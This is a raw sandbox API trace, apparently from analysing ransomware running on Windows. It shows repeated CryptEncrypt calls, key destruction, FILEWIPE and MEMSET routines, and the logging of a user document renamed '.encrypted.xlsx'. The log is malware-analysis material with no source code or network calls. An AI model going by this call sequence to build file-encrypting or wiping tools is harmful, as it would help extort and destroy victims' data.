[0025.934] CryptEncrypt (in: hKey=0xe8f4061c30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x81b9, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x81c0) returned 1 [0025.934] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.934] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.934] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.934] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.934] CharLowerBuffW (in: lpsz="byte[33217]", cchLength=0xb | out: lpsz="byte[33217]") returned 0xb [0025.934] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.935] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.935] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.935] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.935] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.935] CryptEncrypt (in: hKey=0xe8f4061c30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f438a3d0*, pdwDataLen=0xe8f3dfdf68*=0x81b9, dwBufLen=0x81c0 | out: pbData=0xe8f438a3d0*, pdwDataLen=0xe8f3dfdf68*=0x81c0) returned 1 [0025.935] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.935] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.935] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.935] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.935] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.935] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.935] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.935] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.935] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.935] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.935] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.935] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.935] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.935] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.935] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.935] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.935] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.936] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.936] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.936] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.939] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.939] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.939] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0025.939] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.939] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.939] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0025.939] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.939] CryptDestroyKey (hKey=0xe8f4061c30) returned 1 [0025.939] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.939] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.939] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.940] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.940] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.940] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.940] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.940] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.940] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.940] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0025.940] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.940] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.940] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.940] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.940] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.940] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.940] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.940] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.940] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.940] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.940] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.940] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.940] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.940] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.940] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.940] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.941] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.941] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.941] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.941] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0025.941] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.941] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.941] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.941] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.941] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.941] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.942] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.942] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.942] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.942] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0025.942] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.942] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.943] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.943] CharLowerBuffW (in: lpsz="byte[33209]", cchLength=0xb | out: lpsz="byte[33209]") returned 0xb [0025.943] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.943] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0025.943] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.943] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0025.943] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.943] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.943] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.943] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0025.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.943] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.944] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.944] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0025.944] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.944] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.944] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.944] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0025.944] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.944] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.944] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.944] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.944] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.944] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.944] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0025.944] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.944] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.944] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.944] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.944] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.945] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.945] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.946] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.946] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.946] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.946] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.946] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.946] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.946] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0025.946] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=5850) returned 1 [0025.946] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.946] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0025.946] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0025.946] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x16da, lpOverlapped=0x0) returned 1 [0025.946] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0025.946] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x16da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.946] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=5850) returned 1 [0025.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\ybk9kM-2tDyzmN.encrypted.xlsx\r\n", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0025.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\ybk9kM-2tDyzmN.encrypted.xlsx\r\n", cchWideChar=63, lpMultiByteStr=0xe8f40519f0, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\ybk9kM-2tDyzmN.encrypted.xlsx\r\n", lpUsedDefaultChar=0x0) returned 63 [0025.947] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4051590*, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4051590*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x3e, lpOverlapped=0x0) returned 1 [0025.947] CloseHandle (hObject=0x188) returned 1 [0025.948] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 